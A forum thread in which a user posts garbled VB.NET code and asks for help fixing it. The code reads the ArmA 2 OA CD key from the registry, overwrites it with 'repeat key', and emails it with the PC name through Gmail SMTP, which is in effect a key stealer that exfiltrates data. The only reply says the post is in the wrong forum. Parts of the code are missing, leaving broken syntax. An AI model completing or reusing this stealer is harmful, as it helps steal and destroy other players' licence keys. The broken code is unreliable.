Help!

[XxSnip3rHDxX]

Hello, I'm trying to make something that take my CD-Key and sends it to my Email! Am I doing this right?

Also I'm getting error, Identifier Expected.



Imports System.Net.Mail
Private Shared Sub (ByVal  As String())
Dim str1 As String
Dim str2 As String

str1 = "PC Name=" + Dns.GetHostName() + " & ChrW(10)"
str2 =
.
("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY")
If ((str2 <> "no path") = True) Then
str1 = str1 + "key=" + str2 + " & ChrW(10)"

.
("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
GoTo Label_008E
End If
str1 = str1 + "key=" +
.
("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY") + " & ChrW(10)

.
("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
Label_008E:

.
(str1)
MyMailMessage.From() = New MailAddress("xxxx") 'Replace The X's with your GMAIL Address
MyMailMessage.To.Add("xxxx") 'Replace The X's with your GMAIL Address
MyMailMessage.Subject = "Account Information"
MyMailMessage.Body = "Key: "
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxxx", "yyyy") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
SMTP.Send(MyMailMessage)
Return

End Sub

[VictorN]

Before posting something to some Forum you first have to choose the one corresponding your problem!
The Forum:

Visual C++ Bugs & Fixes
Share bugs and fixes for source code on this site. Also use this to share bugs/fixes in the various class libraries etc. of use to VC++ developers. This is NOT for general programming questions.

has nothing to do with your code problem, nor is it for VB problems at all!